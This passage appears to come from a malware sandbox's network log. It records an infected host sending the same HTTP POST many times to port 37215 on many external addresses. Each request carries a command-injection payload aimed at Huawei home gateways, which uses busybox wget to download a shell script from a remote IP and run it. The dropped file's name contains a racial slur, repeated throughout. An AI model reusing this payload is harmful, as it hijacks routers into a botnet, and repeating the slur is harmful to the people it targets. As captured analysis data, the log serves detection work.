6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:15.269756079 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	37370	45.33.251.121	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:50.845695019 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	45102	45.41.87.97	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:50.845813990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	57674	45.43.224.98	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.342495918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	53282	45.207.143.109	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.435920000 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.984781027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:57.808460951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:01.551959991 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.975171089 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 